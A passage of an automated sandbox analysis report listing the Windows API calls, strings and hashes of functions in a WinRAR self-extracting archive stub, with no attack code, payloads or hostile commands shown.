DeleteObject.GDI32 ref: 00A3F289
DeleteObject.GDI32(?), ref: 00A3F299
CloseHandle.KERNEL32 ref: 00A3F2DC

Strings

STARTDLG, xrefs: 00A3F217
sfxname, xrefs: 00A3F14F
sfxstime, xrefs: 00A3F1AE
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00A3F18F
winrarsfxmappingfile.tmp, xrefs: 00A3F0B9

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf_wcslen
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3014515783-3710569615
Opcode ID: 45dfe769e33463fb96ddda4d296b7487c0d315f76ad29b5cb4a143a3cfe82cdf
Instruction ID: ba07476001436e8ba34199eda968126dcb27f130015ae7943712db94c2c0ff99
Opcode Fuzzy Hash: 45dfe769e33463fb96ddda4d296b7487c0d315f76ad29b5cb4a143a3cfe82cdf
Instruction Fuzzy Hash: 9D61F4B1900300BFD320EBE5ED49F6B7BECFB59345F000529FA45921A1DB749986CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B6D2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00A3C92D,00000066), ref: 00A3B6E5
SizeofResource.KERNEL32(00000000,?,?,?,00A3C92D,00000066), ref: 00A3B6FC
LoadResource.KERNEL32(00000000,?,?,?,00A3C92D,00000066), ref: 00A3B713
LockResource.KERNEL32(00000000,?,?,?,00A3C92D,00000066), ref: 00A3B722
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00A3C92D,00000066), ref: 00A3B73D
GlobalLock.KERNEL32(00000000,?,?,?,?,?,00A3C92D,00000066), ref: 00A3B74E
GlobalUnlock.KERNEL32(00000000), ref: 00A3B7D6

Part of subcall function 00A3B636: GdipAlloc.GDIPLUS(00000010), ref: 00A3B63C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00A3B7B7
GlobalFree.KERNEL32(00000000), ref: 00A3B7DD

Strings

PNG, xrefs: 00A3B6D6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: 302a52f3920fb186a79dfbb4e3e2fb639a3b31d24d2cf7638b948eee759b0654
Instruction ID: 0c82b23c69e07b488aabfec10a638635d6e7c8c3b907d9c291575cd3bcadd81b
Opcode Fuzzy Hash: 302a52f3920fb186a79dfbb4e3e2fb639a3b31d24d2cf7638b948eee759b0654
Instruction Fuzzy Hash: D1318171615702AFD710DFA1EC88D1B7FA9FF89756F010628FA05C2260EB31D886CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A2BA94 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BABD

Part of subcall function 00A2CF32: _wcslen.LIBCMT ref: 00A2CF56

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BAEB
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BAF7
FindNextFileW.KERNEL32(?,?,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BB21
GetLastError.KERNEL32(?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BB2D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 7e48d5cf27a22cd25121426cfceb29e46a60f1748e1aa4785f59bcec225cf25c
Instruction ID: a533a11a4919d875a86ba891661f6322bcab19a2f227c268e697e0836bcfc59f
Opcode Fuzzy Hash: 7e48d5cf27a22cd25121426cfceb29e46a60f1748e1aa4785f59bcec225cf25c
Instruction Fuzzy Hash: EC419472910629ABCB25DF68DC84BE9B3B8FB48350F1001A6F55DE3250D7346E94CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BEFF Relevance: 7.6, APIs: 5, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A3C324: GetCurrentProcess.KERNEL32(00020008,00A3BF14,?,?,?,?,00A3BF14,?), ref: 00A3C333
Part of subcall function 00A3C324: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00A3BF14,?), ref: 00A3C33A
Part of subcall function 00A3C324: GetTokenInformation.KERNELBASE(00A3BF14,00000001(TokenIntegrityLevel),00000000,00000000,?,?,?,?,?,00A3BF14,?), ref: 00A3C354
Part of subcall function 00A3C324: GetLastError.KERNEL32(?,?,?,?,00A3BF14,?), ref: 00A3C35E
Part of subcall function 00A3C324: GetTokenInformation.KERNELBASE(00A3BF14,00000001(TokenIntegrityLevel),00000000,?,?,?,?,?,?,?,00A3BF14,?), ref: 00A3C382
Part of subcall function 00A3C324: CopySid.ADVAPI32(00000044,00A3BF14,00000000,?,?,?,?,?,00A3BF14,?), ref: 00A3C393

SetEntriesInAclW.ADVAPI32(00000001,11060000,00000000,?,?,?,?), ref: 00A3BF56
InitializeSecurityDescriptor.ADVAPI32(?,00000001,?,?,?), ref: 00A3BF65
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,?,?), ref: 00A3BF78
CreateDirectoryW.KERNELBASE(?,0000000C,?,?,?), ref: 00A3BF99
LocalFree.KERNEL32(?,?,?,?), ref: 00A3BFA7

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Token$DescriptorInformationProcessSecurity$CopyCreateCurrentDaclDirectoryEntriesErrorFreeInitializeLastLocalOpen
String ID:
API String ID: 2740647886-0
Opcode ID: 760d0847321fe3c936668d12d6f1364c168a5415e96078972bf7f05f7f454cf9
Instruction ID: b4f07fb34c88b91cbb3b9e65c95bd28d01cec8439ea65273e67d4d6cd22915c0
Opcode Fuzzy Hash: 760d0847321fe3c936668d12d6f1364c168a5415e96078972bf7f05f7f454cf9
Instruction Fuzzy Hash: 8F21B2B5C00218AEDB10CFA5DD48ADEBBBCFF44750F10805AE905E2210DB349A46DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A292C6 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A292CB

Part of subcall function 00A2D656: _wcsrchr.LIBVCRUNTIME ref: 00A2D660

Part of subcall function 00A2CAA0: _wcslen.LIBCMT ref: 00A2CAA6

Part of subcall function 00A31907: _wcslen.LIBCMT ref: 00A3190D

Part of subcall function 00A2B5D6: _wcslen.LIBCMT ref: 00A2B5E2
Part of subcall function 00A2B5D6: __aulldiv.LIBCMT ref: 00A2B60E
Part of subcall function 00A2B5D6: GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00A2B615
Part of subcall function 00A2B5D6: _swprintf.LIBCMT ref: 00A2B640
Part of subcall function 00A2B5D6: _wcslen.LIBCMT ref: 00A2B64A
Part of subcall function 00A2B5D6: _swprintf.LIBCMT ref: 00A2B6A0
Part of subcall function 00A2B5D6: _wcslen.LIBCMT ref: 00A2B6AA

Part of subcall function 00A24727: __EH_prolog.LIBCMT ref: 00A2472C

Part of subcall function 00A2A212: __EH_prolog.LIBCMT ref: 00A2A217

Part of subcall function 00A2B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B8FA
Part of subcall function 00A2B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B92B

Strings

__tmp_reference_source_, xrefs: 00A29596

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$H_prolog$AttributesFile_swprintf$CurrentProcess__aulldiv_wcsrchr
String ID: __tmp_reference_source_
API String ID: 70197177-685763994
Opcode ID: 60db7b3f69115b24d41faf4eefd3f6794fdf0e800fe99c0665cf462d4d190887
Instruction ID: d5bc24df24b0a96c2a8e7a4d1f24a0baf0226ff7c1ec0919c4f3e43ec7e46648
Opcode Fuzzy Hash: 60db7b3f69115b24d41faf4eefd3f6794fdf0e800fe99c0665cf462d4d190887
Instruction Fuzzy Hash: 15A24B31904265AFDF19DF78D995BEFBBB4BF15700F0801B9E8499B182D7309A88CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A491B0 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00A49186,00000000,00A5D570,0000000C,00A492DD,00000000,00000002,00000000), ref: 00A491D1
TerminateProcess.KERNEL32(00000000,?,00A49186,00000000,00A5D570,0000000C,00A492DD,00000000,00000002,00000000), ref: 00A491D8
ExitProcess.KERNEL32 ref: 00A491EA

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: cbb7919400b6fec749de017867d40e010c430625fcb31261da12564e032b2f39
Instruction ID: caf65b6f30c4a0db6d6c8f69b2e29276708e133ec20549ab01fc13692aa72769
Opcode Fuzzy Hash: cbb7919400b6fec749de017867d40e010c430625fcb31261da12564e032b2f39
Instruction Fuzzy Hash: 32E04F39000208ABCF11AFA4CD0CA8A3F6AFB84356F000114F90D47131CB75ED93CA40

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C9D0 Relevance: 102.2, APIs: 49, Strings: 9, Instructions: 734windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A3C9D5

Part of subcall function 00A212F6: GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
Part of subcall function 00A212F6: SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00A3CAC1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3CADF
IsDialogMessageW.USER32(?,?), ref: 00A3CAF2
TranslateMessage.USER32(?), ref: 00A3CB00
DispatchMessageW.USER32(?), ref: 00A3CB0A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00A3CB2D
EndDialog.USER32(?,00000001), ref: 00A3CB50
GetDlgItem.USER32(?,00000068), ref: 00A3CB73
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00A3CB8E
SendMessageW.USER32(00000000,000000C2,00000000,00A545F4), ref: 00A3CBA1

Part of subcall function 00A3E598: _wcslen.LIBCMT ref: 00A3E5C2

SetFocus.USER32(00000000), ref: 00A3CBA8
_swprintf.LIBCMT ref: 00A3CC07

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00A3CC6A
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00A3CC92
GetTickCount.KERNEL32 ref: 00A3CCB0
_swprintf.LIBCMT ref: 00A3CCC8
GetLastError.KERNEL32(?,00000011), ref: 00A3CCFA
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00A3CD4D
_swprintf.LIBCMT ref: 00A3CD84
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007402,winrarsfxmappingfile.tmp), ref: 00A3CDD8
GetCommandLineW.KERNEL32 ref: 00A3CDEE
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,00A71482,00000400,00000001,00000001), ref: 00A3CE45
ShellExecuteExW.SHELL32(0000003C), ref: 00A3CE6D
WaitForInputIdle.USER32(?,00002710), ref: 00A3CEA1
Sleep.KERNEL32(00000064), ref: 00A3CEB5
UnmapViewOfFile.KERNEL32(?,?,0000421C,00A71482,00000400), ref: 00A3CEDE
CloseHandle.KERNEL32(00000000), ref: 00A3CEE7
_swprintf.LIBCMT ref: 00A3CF1A
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00A3CF79
SetDlgItemTextW.USER32(?,00000065,00A545F4), ref: 00A3CF90
GetDlgItem.USER32(?,00000065), ref: 00A3CF99
GetWindowLongW.USER32(00000000,000000F0), ref: 00A3CFA8
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00A3CFB7
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00A3D064
_wcslen.LIBCMT ref: 00A3D0BA
_swprintf.LIBCMT ref: 00A3D0E4
SendMessageW.USER32(?,00000080,00000001,?), ref: 00A3D12E
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00A3D148
GetDlgItem.USER32(?,00000068), ref: 00A3D151
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00A3D167
GetDlgItem.USER32(?,00000066), ref: 00A3D181
SetWindowTextW.USER32(00000000,00A7389A), ref: 00A3D1A3
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00A3D203
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00A3D216
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001C7B0,00000000,?), ref: 00A3D2B9
EnableWindow.USER32(00000000,00000000), ref: 00A3D393
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00A3D3D5

Part of subcall function 00A3D884: __EH_prolog.LIBCMT ref: 00A3D889

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00A3D3F9

Strings

STARTDLG, xrefs: 00A3C9F1
@, xrefs: 00A3CD99
%s, xrefs: 00A3D0D4
__tmp_rar_sfx_access_check_%u, xrefs: 00A3CCB7
"%s"%s, xrefs: 00A3CF09
LICENSEDLG, xrefs: 00A3D2AE
<, xrefs: 00A3CD8C
-el -s2 "-d%s" "-sp%s", xrefs: 00A3CD73
winrarsfxmappingfile.tmp, xrefs: 00A3CDAE

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Item$MessageText$Send$Window_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleIdleInputLineMappingModuleNameParamShellSleepTickTranslateUnmapWait__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3103142498-1645151803
Opcode ID: 73ac00857137155291eb795d18160d54e5920accf4f6dfce7d13e7517096472c
Instruction ID: d0f84fe3ac984f28e10e468d99a3051b21933041476d67205a1f732e0d31b309
Opcode Fuzzy Hash: 73ac00857137155291eb795d18160d54e5920accf4f6dfce7d13e7517096472c
Instruction Fuzzy Hash: 7A42E271940314BEEB21EBF4AD4EFBE7ABCAB11704F044165F645B60D2CBB44E468B22

Uniqueness

Uniqueness Score: -1.00%

Function 00A31B83 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00A31B9C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00A31BAE
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00A31BDF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00A31E89
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A31EA3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A31EB3
ReadFile.KERNEL32(00000000,?,00007FFE,00A54D24,00000000), ref: 00A31ED1
CloseHandle.KERNEL32(00000000), ref: 00A31F29
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00A31F3E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00A54D24,?,00000000,?,00000800), ref: 00A31F92
GetFileAttributesW.KERNELBASE(?,?,00A54D24,00000800,?,00000000,?,00000800), ref: 00A31FBC
GetFileAttributesW.KERNEL32(?,?,00A54DEC,00000800), ref: 00A31FF8

Part of subcall function 00A31B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A31B56
Part of subcall function 00A31B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A3063A,Crypt32.dll,00000000,00A306B4,00000200,?,00A30697,00000000,00000000,?), ref: 00A31B78

_swprintf.LIBCMT ref: 00A3206A
_swprintf.LIBCMT ref: 00A320B6

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

AllocConsole.KERNEL32 ref: 00A320BE
GetCurrentProcessId.KERNEL32 ref: 00A320C8
AttachConsole.KERNEL32(00000000), ref: 00A320CF
_wcslen.LIBCMT ref: 00A320E4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00A320F5
WriteConsoleW.KERNEL32(00000000), ref: 00A320FC
Sleep.KERNEL32(00002710), ref: 00A32107
FreeConsole.KERNEL32 ref: 00A3210D
ExitProcess.KERNEL32 ref: 00A32115

Strings

kernel32, xrefs: 00A31B93
dwmapi.dll, xrefs: 00A31C47, 00A3202D
SetDefaultDllDirectories, xrefs: 00A31BD9
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00A320A4
uxtheme.dll, xrefs: 00A32037
SetDllDirectoryW, xrefs: 00A31BA8
DXGIDebug.dll, xrefs: 00A31C1C, 00A31F7E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: f26d0fdc00d6d9cb054c57cdc9874f097e5091f70b28b1148683a6ded9fd1bf5
Instruction ID: ebe2bbaa87a3a3c68d4488d060965aa91703230180af81cf404bc8bdb764e2bc
Opcode Fuzzy Hash: f26d0fdc00d6d9cb054c57cdc9874f097e5091f70b28b1148683a6ded9fd1bf5
Instruction Fuzzy Hash: 92D185B1408744AFD330DFA0D859BDFBBE8BB8870AF50091DFA8596190DBB4858DCB52

Uniqueness

Uniqueness Score: -1.00%

Function 00A2ED87 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A2ED90
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00A2EDCC

Part of subcall function 00A2D6A7: _wcslen.LIBCMT ref: 00A2D6AF

Part of subcall function 00A31907: _wcslen.LIBCMT ref: 00A3190D

Part of subcall function 00A32ED2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00A2CF18,00000000,?,?), ref: 00A32EEE

_wcslen.LIBCMT ref: 00A2F109
__fprintf_l.LIBCMT ref: 00A2F23C

Strings

RTL, xrefs: 00A2F1FE
a, xrefs: 00A2EF36
*messages***, xrefs: 00A2EF1A
*messages***, xrefs: 00A2EEE1
, xrefs: 00A2F08C
R, xrefs: 00A2EF2C
@%s:, xrefs: 00A2F226, 00A2F232
,, xrefs: 00A2F277
$%s:, xrefs: 00A2F21F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 5d0e8339497ad167be30f3eafc6f45c93f7eb08558b834ed6d293fc2571b65f4
Instruction ID: 8c553c016654f0f4e21dafa645ef72068f1cdd134ebad47ac5137b29b44a42d4
Opcode Fuzzy Hash: 5d0e8339497ad167be30f3eafc6f45c93f7eb08558b834ed6d293fc2571b65f4
Instruction Fuzzy Hash: 8232CE71900228AFDF24EF68E941AEE77B4FF48704F40457AFA069B291E7719D85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A3E619 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A3C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A3C769
Part of subcall function 00A3C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3C77A
Part of subcall function 00A3C758: IsDialogMessageW.USER32(0001046C,?), ref: 00A3C78E
Part of subcall function 00A3C758: TranslateMessage.USER32(?), ref: 00A3C79C
Part of subcall function 00A3C758: DispatchMessageW.USER32(?), ref: 00A3C7A6

GetDlgItem.USER32(00000068,00A81CF0), ref: 00A3E62D
ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,00A3C9A9,00A560F0,00A81CF0,00A81CF0,00001000,?,00000000,?), ref: 00A3E655
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00A3E660
SendMessageW.USER32(00000000,000000C2,00000000,00A545F4), ref: 00A3E66E
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00A3E684
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00A3E69E
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00A3E6E2
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00A3E6F0
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00A3E6FF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00A3E726
SendMessageW.USER32(00000000,000000C2,00000000,00A5549C), ref: 00A3E735

Strings

\, xrefs: 00A3E68E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
